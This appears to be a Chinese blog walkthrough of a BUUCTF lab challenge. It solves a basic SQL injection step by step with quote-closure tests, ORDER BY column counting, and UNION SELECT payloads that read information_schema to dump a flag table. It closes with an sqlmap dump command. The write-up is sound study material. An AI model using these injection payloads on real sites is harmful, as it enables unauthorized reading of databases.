[第一章 web入门]SQL注入-1 题目分析与详解

2024-02-27 1610阅读

温馨提示:这篇文章已超过387天没有更新,请注意相关的内容是否还可用!

一、题目简介:

题目来源:BUUCTF网址

题目介绍如图:获取flag值。

[第一章 web入门]SQL注入-1 题目分析与详解


二、解题思路:

首先看到题目主页面有一段文字,貌似没有什么作用,我们先使用HackBar导入URL。

[第一章 web入门]SQL注入-1 题目分析与详解

我们发现?id=1,可知这是一个很基础的SQL注入题目,我们首先要进行注入类型的判断,判断本次SQL注入是字符型注入还是数字型注入。

我们首先判断是否位数字型注入。

?id=1 and 1=2

假设注入就是数字型注入,那么此时后端语句变成了 select * from users where id = 1 and 1=2;那么页面应该显示报错,可是提交后发现,页面保持不变,由此可以断定,本次注入不是数字型注入。

既然我们已经判断出其不是数字型注入,那么就是字符型注入,我们就需要判断其闭合类型是什么。首先尝试单引号闭合。

?id=1' and 1=2--+

假设闭合方式就是单引号,那么后端语句即为:

select * from users where id='1' and 1=2 --+';

那么页面同样应该显示报错信息,我们进行提交看看:

[第一章 web入门]SQL注入-1 题目分析与详解

果然页面信息不显示了,这就正好说明本次字符型注入的闭合方式为 单引号闭合。 

清楚闭合方式之后,我们就要判断字段数的数量--通过order by number来解决。

?id=1' order by + 字段数 --+

当我们判断字段数为3时:

[第一章 web入门]SQL注入-1 题目分析与详解

当我们判断字段数为4时:

[第一章 web入门]SQL注入-1 题目分析与详解

我们发现字段数为3时显示正常,而为4时页面发生了变化,说明字段数为3。然后进行查询回显位,只有找到回显位,才能让flag在回显位上被我们看到。

?id=-1' union select 1,2,3--+

回显位如图所示:

[第一章 web入门]SQL注入-1 题目分析与详解

发现回显位之后,进行爆表就可以了。

首先查询数据库中的表名:

union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()--+

[第一章 web入门]SQL注入-1 题目分析与详解

我们发现数据库中存在两张表,其中一张表叫做fl4g,我们大胆猜想flag就在表fl4g中。

于是我们就查询表fl4g中的列名。

union select 1,database(),group_concat(column_name)from information_schema.columns where table_name='fl4g'--+

[第一章 web入门]SQL注入-1 题目分析与详解

我们发现一个名叫作 fllllag的列,flag值很有可能就在fllllag中,我们查询fllllag中的内容。

union select 1,database(),group_concat(fllllag)from fl4g--+

[第一章 web入门]SQL注入-1 题目分析与详解

我们看到成功获取了flag的值,提交---通过。 


sqlmap解法:

我们也可以使用工具 sqlmap来解决这道题目。 

sqlmap -u http://5e77ef3c-a640-4be4-ad44-c836aa77ead7.node5.buuoj.cn:81/index.php?id=1 -D note -T fl4g -C fllllag --dump --batch

[第一章 web入门]SQL注入-1 题目分析与详解

VPS购买请点击我

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

目录[+]